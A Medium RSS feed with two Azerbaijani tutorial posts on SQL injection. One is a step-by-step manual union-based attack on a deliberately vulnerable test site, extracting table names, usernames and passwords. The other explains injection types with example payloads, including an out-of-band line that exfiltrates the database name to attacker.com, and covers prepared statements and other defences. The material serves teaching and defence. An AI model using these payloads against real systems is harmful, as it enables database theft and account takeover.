<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Natiq Salifov on Medium]]></title>
        <description><![CDATA[Stories by Natiq Salifov on Medium]]></description>
        <link>https://medium.com/@natiqsalifov29?source=rss-150d8128641f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*vRAzAIVfUXGjZNJAFE2VZw.jpeg</url>
            <title>Stories by Natiq Salifov on Medium</title>
            <link>https://medium.com/@natiqsalifov29?source=rss-150d8128641f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 20:27:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@natiqsalifov29/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SQL Injection Praktikası: Manual Hücum Nümunəsi]]></title>
            <link>https://medium.com/@natiqsalifov29/sql-injection-praktikas%C4%B1-manual-h%C3%BCcum-n%C3%BCmun%C9%99si-6835517f78c5?source=rss-150d8128641f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6835517f78c5</guid>
            <category><![CDATA[sql-injection-attack]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Natiq Salifov]]></dc:creator>
            <pubDate>Tue, 01 Jul 2025 04:34:33 GMT</pubDate>
            <atom:updated>2025-07-01T04:34:33.353Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5VkXM8XqJ9WcsGH2.jpg" /></figure><p>Bu məqalədə SQL injection hücum ssenarisini manual olaraq həyata keçirəcəyik. <a href="https://medium.com/@natiqsalifov29/sql-injection-n%C9%99dir-68735120d739"><strong>SQL injection haqqında ətraflı məlumatı əvvəlki məqaləmdə qeyd etmişəm.</strong></a></p><h3>Addım 1. Hədəfin müəyyənləşdirilməsi</h3><p>Hədəf olaraq test saytı olan <a href="http://testphp.vulnweb.com/">http://testphp.vulnweb.com/</a> bu url-dən istifadə edəcəm. Unutmayın, real testlər yalnız icazəli mühitlərdə aparılmalıdır.</p><h3><strong>Addım 2.</strong> Əvvəlcə id=, cat=, page=, user= və.s kimi parametrləri olan url’i tapmalıyıq</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZRivUtWKJN8ATQTmYu-40w.png" /></figure><h3><strong>Addım 3. SQL injection varlığı</strong></h3><p>Daha sonra saytda SQL injection olub olmadığından əmin olmaq lazımdı. Bunun üçün url-də sintaksisi “ ‘ ” dırnaq işarəsilə sintaksisi pozaraq sql xətasının verib-vermədiyini yoxlayırıq. Əgər SQL syntax deyə error verərsə, deməli SQL injection var.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*bRTnt1ex9hF0lroRHvw8Eg.png" /></figure><blockquote>Qeyd: Dırnaq işarəsi url encode vasitəsilə %27 olur.</blockquote><p>SQL injection olub-olmadığını başqa cür yoxlamaq da olur. Əgər verilənlər bazasında (database-də) riyazi əməllər işlədə biliriksə, deməli SQL injection var. Misal: ?cat=1 parametrindəki səhifə ?cat=2–1 parametrindəki səhifə ilə eyni olarsa, deməli biz databazada riyazi əməl işlədə bilirik və bu da SQL injection boşluğundan xəbər verir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*aVEUa6Iv8Cb0t1HxRcsloQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*5CoertG-Dsl-4n-w3iCMJA.png" /></figure><h3><strong>Addım 4.</strong> Database-dəki column sayını tapmağa çalışaq</h3><p>?cat=1 olan url-in sonuna UNİON SELECT vasitəsilə 1, daha sonra 2, sonra 3, və.s yazaraq column sayını tapırıq. Bir-bir sayı artırdıqca ekranda “sütun sayı fərqlidir” deyə bir xəta çıxacaq. Ta ki, düz sayı yazana qədər. Məsələn: database-də 11 sütun varsa, <strong>?cat=1 UNİON SELECT 1,2,3,4,5,6,7,8,9,10 </strong>yazdıqda xəta hələdə ekranda görünəcək, amma <strong>?cat=1 UNİON SELECT 1,2,3,4,5,6,7,8,9,10,11 </strong>yazdıqda<strong> </strong>isə artıq error görünməyəcək və səhifə normal görünüşünə geri qayıdacaq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HeduNNmbAyNhU60K-LK4Bw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ve1e5tslyCsx6hbww2SMWg.png" /></figure><h3><strong>Addım 5.</strong> Həssas olan sütunlar</h3><p>Aha, deməli database-də 11 sütun var. İndi nə etməliyik? Bu sütun saylarından hansıları həssasdı onları tapırıq. Yəni hansı sütunların vizual olaraq çıxışa təsiri varsa, oradan data sızdırmaq mümkündür. Normalda ?cat=1 olduqda səhifədə ən aşağıda görsənir. Bəs yaxşı səhifə çox uzun olsa necə? O zaman ?cat=-1 yazırıq və yalnız bizim daxil etdiyimiz sorğu işləyir, UNİON-dan əvvəlki sorğular işləmir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*se84JSjcZXLWsHPAIuLnbA.png" /></figure><p>Əla, buradan 2, 7, 9 və 11-ci sütunlardan data çəkə biləcəyimizi açıq aydın görürük. Məsələn: database-in adını bilmək istəsək, bu 4 ədəddən birinin (fərqi yoxdu, hansı olur olsun) yerinə <strong>database()</strong> yazsaq, ekranda görünəcək:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ql86UrXD6vsf_XbkfUsp-Q.png" /></figure><h3><strong>Addım 6.</strong> Verilənlər bazasından table, column-ları çıxarmaq</h3><p>Database-in adını tapdıq: acuart. İndi isə həmin database-dəki cədvəlləri, sütunları tapaq. <strong>UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11 FROM information_schema.tables WHERE table_schema=”acuart”</strong> Bu sorğu nəticəsində biz acuart adlı verilənlər bazasında olan bütün cədvəl adlarını ekrana çıxarırıq. Burada information_schema.tables bazada bütün cədvəllər haqqında məlumat saxlayan bir növ virtual sistem cədvəlidir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JGNr7OH7pOG_arkqYhOP5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*Jhf1GkiWeE450QRO8159ww.png" /></figure><p>Şəkilə baxdıqda görürük ki, cədvəllər arasında sensitiv bir cədvəl var: users. İndi isə users cədvəlindəki column-ları tapmağa çalışaq. Bunun üçün <strong>UNION SELECT 1,2,3,4,5,6,column_name,8,9,10,11 FROM information_schema.columns WHERE table_name=”users” </strong>yazırıq və sütunları çəkirik:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JmTi-im0bdQj8vKf2KUwQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*vlk_7pXindKVTkaB16LIzw.png" /></figure><p>Aha, burdan da sensitiv data tapdıq, uname — username-lər olan sütun və pass — password-lar olan sütun. Artıq sona yaxınlaşırıq. Sonra bu sütunlardakı datanı çəkirik. <strong>UNION SELECT 1,2,3,4,5,6,uname,8,9,10,11 FROM users</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IoG98BHpDBK2bvWszFKjfA.png" /></figure><p>Username-i tapqdıq: test. Password-u tapaq: <strong>UNION SELECT 1,2,3,4,5,6,pass,8,9,10,11 FROM users</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hXqVE_avViQLf6me5I8UbQ.png" /></figure><p>Password-u da tapdıq. Artıq istifadəçinin hesabına daxil ola bilərik)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*0-sYqordI-t9Ev2MF7GhGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*jlgnO8spPLG35wzeI5FrBg.png" /></figure><p>Zəiflik axtarışı zamanı avtomatik tool-lar vasitəsilə tapmağdan daha çox manual kəşfiyyata üstünlük verin. Çünki tool üzdən, səthi yoxlayır, amma manual yoxlanış zamanı siz tool-un gözdən qaçırdığı ayrıntıları görə bilərsiz. Həm də Bug Bounty ilə məşğul olanlar üçün manual axtarış daha faydalıdır, report zamanı avtomatik axtarışa low, medium verərkən, manual tapılan boşluğa high, critical verirlər.</p><p>Nəticə olaraq, bu məqalədə SQL injection boşluğunu manual şəkildə necə tapıldığını praktiki nümunələrlə öyrəndik. Növbəti məqalələrdə görüşənədək…)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6835517f78c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL injection Nədir?]]></title>
            <link>https://medium.com/@natiqsalifov29/sql-injection-n%C9%99dir-68735120d739?source=rss-150d8128641f------2</link>
            <guid isPermaLink="false">https://medium.com/p/68735120d739</guid>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[database]]></category>
            <dc:creator><![CDATA[Natiq Salifov]]></dc:creator>
            <pubDate>Tue, 24 Jun 2025 05:08:25 GMT</pubDate>
            <atom:updated>2025-06-24T05:08:25.639Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQL (Structured Query Language)</h3><p><strong>SQL injection</strong>’ı başa düşmək üçün əvvəlcə <strong>SQL</strong> nədir onu bilməliyik. SQL verilənlər bazasını (database) idarə etmək üçün bir sorğu dilidir. Məlumatların əlavə edilməsi, silinməsi, dəyişdirilməsi kimi əməliyyatlar bu sorğu dili vasitəsilə edilir. Necə işlədiyini izah etmək üçün bir cədvəl əsasında əməliyyatlar aparacam.</p><blockquote>Tutaq ki, verilənlər bazasında bu şəkildə bir cədvəl var.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*ewMYUqdQRs4GBYzVw64NOw.png" /></figure><p>Belə bir sorğu göndərsək:</p><pre>SELECT * FROM telebeler WHERE id=2</pre><p>telebeler cədvəlindən id’si 2-yə bərabər olan tələbəni cavab olaraq qaytaracaq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/1*34jyrbE64fp0_J3xQolLew.png" /></figure><p>Bu cür sorğuda isə:</p><pre>SELECT * FROM telebeler WHERE ad=&quot;Əli&quot; OR yas&lt;22</pre><p>adı Əli olan və ya yaşı 22-dən kiçik olan tələbələr (və ya hər ikisi) çıxacaq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*APqBWajkLyQeSDGwJl8Nbw.png" /></figure><p>Bu kimi sorğular SQL dili sayəsində həyata keçirilir.</p><h3><strong>SQL injection</strong></h3><p>Bir saytda və ya proqramda istifadəçi tərəfindən <strong>daxil edilən məlumatların düzgün yoxlanmaması</strong> və <strong>birbaşa SQL sorğusuna yerləşdirilməsi</strong> nəticəsində baş verən təhlükəsizlik zəifliyinə <strong>SQL injection</strong> deyilir. Daxil edilən məlumatlar düzgün yoxlanmadıqda bədniyyətli istənməyən soğular işlədə və məlumatları silə, dəyişə və sistemə zərər verə bilər.</p><p><strong><em>Necə baş verir?</em></strong></p><p>Tutaq ki, saytın login səhifəsinin kodu belədir:</p><pre>&lt;?php<br>// Bağlantı qur<br>$conn = mysqli_connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;mydb&quot;);<br><br>$username = $_POST[&#39;username&#39;];<br>$password = $_POST[&#39;password&#39;];<br><br>$sql = &quot;SELECT * FROM users WHERE username = &#39;$username&#39; AND password = &#39;$password&#39;&quot;;<br>$result = mysqli_query($conn, $sql);<br><br>if (mysqli_num_rows($result) &gt; 0) {<br>    echo &quot;Xoş gəldiniz, $username!&quot;;<br>} else {<br>    echo &quot;Yanlış istifadəçi adı və ya şifrə.&quot;;<br>}<br>?&gt;</pre><p><strong>$username</strong> və <strong>$password</strong> istifadəçi tərəfindən <strong>birbaşa</strong> SQL sorğusuna daxil olur və heç bir yoxlama aparılmır. Bu da <strong>SQLi </strong>boşluğunun olduğunu açıq-aydın göstərir.</p><p>Çünki bədniyyətli sorğunu bu şəkildə daxil etsə:</p><pre>SELECT * FROM users WHERE username = &#39;&#39; OR &#39;1&#39;=&#39;1&#39; AND password = &#39;&#39;;</pre><p>1=1 şərti həmişə doğru olduğundan hücumçu istifadəçi adı və şifrə bilmədən sistemə daxil ola bilər.</p><blockquote><strong>Bəs bunun qarşısını necə almaq olar?</strong></blockquote><p>Login səhifənin kodunu belə dəyişsək:</p><pre>&lt;?php<br>// PDO ilə bağlantı<br>$pdo = new PDO(&quot;mysql:host=localhost;dbname=mydb&quot;, &quot;root&quot;, &quot;&quot;);<br><br>// İstifadəçi daxil etdiklərini al<br>$username = $_POST[&#39;username&#39;];<br>$password = $_POST[&#39;password&#39;];<br><br>// Prepared statement istifadə et<br>$stmt = $pdo-&gt;prepare(&quot;SELECT * FROM users WHERE username = :username AND password = :password&quot;);<br>$stmt-&gt;execute([&#39;username&#39; =&gt; $username, &#39;password&#39; =&gt; $password]);<br><br>$user = $stmt-&gt;fetch();<br><br>if ($user) {<br>    echo &quot;Xoş gəldiniz, &quot; . htmlspecialchars($user[&#39;username&#39;]) . &quot;!&quot;;<br>} else {<br>    echo &quot;Yanlış istifadəçi adı və ya şifrə.&quot;;<br>}<br>?&gt;</pre><p>Artıq bədniyyətlinin sorğusu işləməyəcək. Çünki istifadəçi yazdığı dəyər <strong>SQL sorğusunun bir hissəsi olmur</strong>, sadəcə <strong>dəyər</strong> kimi ötürülür. Bu üsul <strong>prepared statement</strong> adlanır.</p><h3>SQLi növləri</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IjWUFoHZgWrJYZPO.png" /></figure><h3>1. In-band SQLi</h3><p><strong>In-band SQLi</strong> — Bədniyyətlinin <strong>həm hücum göndərərkən</strong>, <strong>həm də nəticələri əldə edərkən</strong> <strong>eyni rabitə kanalından</strong> istifadə etməsidir. Sadə dildə desək: bədniyyətli heç bir əlavə texniki vasitə istifadə etmədən, sadəcə brauzer üzərindən sorğu göndərir və cavabı da həmin yerdə görür.</p><blockquote>In-band SQLi-ın da 2 növü var: Error based SQLi və Union based SQLi</blockquote><h3><strong>Error based SQLi</strong></h3><p>Yəni xəta əsaslı SQL inyeksiyası, veb-saytın verilənlər bazası ilə əlaqəsi zamanı meydana çıxan xəta mesajları vasitəsilə məlumatların əldə edilməsinə yönələn hücum növüdür. Bu hücum texnikası veb-saytın <strong>detallı və ya idarə olunmayan xəta mesajları verdiyi</strong> hallarda mümkün olur.</p><p>Məsələn, veb-sayt istifadəçidən id dəyəti alaraq məlumat göstərirsə:</p><pre>http://example.com/product.php?id=1</pre><p>bədniyyətli SQL sintaksisini pozmaq üçün sorğunun sonuna dırnaq işarəsi qoyacaq:</p><pre>http://example.com/product.php?id=1&#39;</pre><p>Beləliklə ekrana SQL sorğusu nəticəsində yaranan xəta mesajı çıxacaq və bu da hücumçunun sistemdən daha çox məlumat əldə etməsinə imkan verir:</p><pre>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &quot;&#39;&quot; at line 1</pre><p>Əgər <strong>id</strong> parametri birbaşa SQL sorğusuna daxil olursa və hücum edən şəxs url-i belə dəyişərsə:</p><pre>http://example.com/product.php?id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) a)</pre><p>xəta mesajı ilə məlumat əldə edir. Bu sorğu nə edir? <strong>information_schema.tables</strong>-dən (MySQL-də bütün cədvəllərin siyahısı) istifadə edir, <strong>CONCAT((SELECT database()), …) </strong>hazırda qoşulmuş verilənlər bazasının adını götürür, <strong>GROUP BY</strong> və <strong>RAND() </strong>ilə süni sintaksis xətası yaradır və database-in adı bu xəta mesajında görsənir.</p><pre>ERROR 1062 (23000): Duplicate entry &#39;testdb:1&#39; for key &#39;group_key&#39;</pre><p>Burada <strong>testdb </strong>aktiv məlumat bazasının adıdır.</p><h3><strong>Union based SQLi</strong></h3><p>Hücumçu SQL sorğusunda <strong>UNİON</strong> açar sözündən istifadə edərək bir neçə sorğunu birləşdirir və məlumat bazasından icazəsiz məlumatları çıxarır.</p><pre>http://example.com/product.php?id=2 UNION SELECT username, password FROM users--</pre><p>Bu sorğu nəticəsində həm id-si 2 olan məhsul haqqında məlumatlar, həm də <strong>users </strong>cədvəlindən <strong>username</strong> və <strong>password </strong>sütunlarını qaytaracaq.</p><h3>2. Blind SQLi</h3><p>Bu hücum növündə bədniyyətli serverdən birbaşa məlumat ala bilmir, lakin <strong>serverin davranışına baxaraq</strong> məlumat əldə edir. Elə buna görə də blind(kor) adlanır.</p><p>Məsələn:</p><pre>http://example.com/product.php?id=10 AND 1=1</pre><p>belə bir sorğu göndərdikdə səhifə normal şəkildə görsənir.</p><pre>http://example.com/product.php?id=10 AND 1=2</pre><p>Bu sorğuda isə 1=2 şərti ödənmədiyindən səhifə boş və ya fərqli olur. Bu da deməkdir ki, server AND şərtinə reaksiya verir və bu yolla hücumçu sistemlə interaktiv əlaqə qura bilir.</p><p>İki əsas növü var: Boolean-based Blind SQLi və Time-based Blind SQLi</p><h3>Boolean-based Blind SQLi</h3><p>Daxil edilən sorğunun true və false olması ilə səhifənin davranışına əsasən məlumatlar bazadan əldə edilir. Sorğunu daxil etdikdə əgər sayt normal cavab göstərirsə deməli şərt doğrudur, boş və ya fərqli nəticə göstərirsə şərt yanlışdır.</p><p>Mələsən:</p><pre>http://example.com/?id=1&#39; AND (length(database())) = 8</pre><p>Bu sorğu database-in adının uzunluğunu tapmağa kömək edir. Sayt boş səhifə göstərənə qədər ədədi dəyişirik. Məsələn, database-in adının uzunluğu 12-dirsə, 13-ə qədər normal cavab verir, 13 yazdıqda isə boş səhifə göstərir.</p><p>Uzunluğunu tapdıqdan sonra adı tam olaraq tapmaq lazımdır. Bunun üçün bu sorğudan istifadə edirik:</p><pre>http://example.com/?id=1&#39; AND substring(database(), 1, 1) = &#39;m&#39; -- </pre><p>burada 1-ci hərfi tapmağa çalışırıq, m-in yerinə bütün hərfləri qoyub bir-bir yoxlayırıq. Hansı hərfdə sayt normal cavab versə deməli ilk hər odur.</p><p>Daha sonra 2-ci, 3-cü və.s hərfləri tapmaq üçün 1, 1 hissəsini 2, 1 və ya 3, 1 kimi dəyişib eynilə bu qaydada hərfləri yoxlayırıq:</p><pre>http://example.com/?id=1&#39; AND substring(database(), 2, 1) = &#39;y&#39; -- </pre><h3>Time-based Blind SQLi</h3><p>Time-based inyeksiyaları verilənlər bazasının istifadəçiyə cavab vermə müddətinə əsaslanan təəhlükəsizlik zəifliyidir. Verilən cavabın gec və ya tezliyindən istifadə edərək məlumatları əldə etmək olar.</p><pre>http://example.com/product.php?id=10 AND IF(SUBSTRING(database(),1,1)=&#39;t&#39;, SLEEP(5), 0)--</pre><p>Belə bir sorğu göndərdikdə əgər server 5 saniyə gec cavab verirsə, deməli şərt doğrudur və database-in ilk hərfi t-dir. Yox əgər dərhal cavab verirsə, deməli şərt yanlışdır, database-in ilk hərfi başqadır.</p><h3>3. Out of band SQLi</h3><p>Bu hücum növü digər SQLi növlərindən ona görə fəqlənir ki, hücumçu sorğunu və nəticəni <strong>fərqli kanallar</strong> vasitəsilə idarə edir. Hücumçu serverə zərərli sorğu göndərir, amma nəticəni <strong>eyni HTTP cavabında deyil</strong>, başqa bir kanalda alır.</p><p>Məsələn:</p><pre>SELECT LOAD_FILE(CONCAT(&#39;\\\\&#39;, (SELECT database()), &#39;.attacker.com\\file&#39;))</pre><p>Bu sorğu serverdən DNS sorğusu göndərməsini istəyir, DNS sorğusu <strong>attacker.com</strong> domeninə gedir və hücumçu orada bu sorğunu qəbul edir. Beləcə, hücumçu verilənlər bazasının adını DNS sorğusundan oxuyur.</p><h3>Təsirləri</h3><p>SQL injection hücumu sayəsində hücum edən şəxs məlumat bazasına sızaraq məlumatları oxuya, silə və dəyişə bilər. İstifadəçi hesablarını, parollarını əldə edə bilər. Bundan əlavə, serverin əməliyyat sisteminə sızaraq öz səlahiyyətlərini yüksəldə, daha sonra isə şəbəkənin digər seqmentlərinə hücumlar edə bilər.</p><h3>Müdafiə üsulları</h3><ol><li><strong>Prepared Statements — </strong>ən güvənli və ən tövsiyə olunan üsuldur. SQL sorğusunu və daxil olan dəyərləri bir-birindən ayırır. Əgər zərərli SQL sorğusu olarsa onu icra etmir, sadəcə dəyər kimi oxuyur. (Bu üsul haqqında məqalənin əvvəlində nümunə göstərmişəm)</li><li><strong>Input Validation and Whitelisting</strong> — istifadəçidən gələn məlumatın formatı yoxlanmalı və Whitelisting əlavə edilməlidir.Beləliklə, zərərli sorğuya imkan vermir və yalnız qabaqcadan təyin olunan icazəli dəyərləri oxuyur.</li><li><strong>ORM (Object Relational Mapping)</strong> — obyekt yönlü proqramlaşdırma dilləri ilə əlaqəli məlumat bazalarının (RDBMS) <strong>rahat şəkildə əlaqələndirilməsi və istifadəsi üçün</strong> bir texnikadır. ORM-lər (məsələn Laravel-də Eloquent, Django ORM) avtomatik olaraq SQL injection-dan qoruyan strukturlu interfeys təqdim edir və daxildə <strong>prepared statement</strong> istifadə edir.</li><li><strong>Error mesajlarını istifadəçiyə göstərilməməsi</strong> — <strong>Error-based SQLi</strong>-nin qarşısını almaq üçün server və DB xətaları istifadəçiyə göstərilməməlidir. Bunun əvəzinə “Naməlum xəta baş verdi” kimi ümumi mesaj göstərmək məsləhətdir.</li><li><strong>Web Application Firewall (WAF) </strong>— veb tətbiqləri zərərli trafikin təsirlərindən qorumaq üçün hazırlanmış <strong>təhlükəsizlik divarıdır</strong>. WAF, veb tətbiqə gələn və gedən HTTP/HTTPS trafikə <strong>nəzarət edir</strong>, <strong>zərərli sorğuları bloklayır</strong> və <strong>hücumların qarşısını alır</strong>.</li><li><strong>Təhlükə analiz alətləri ilə test </strong>— saytınızı sqlmap, Burp Suite, ZAP Proxy kimi alətlərlə analiz edin, mövcud boşluqları, səhvləri düzəldin.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68735120d739" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>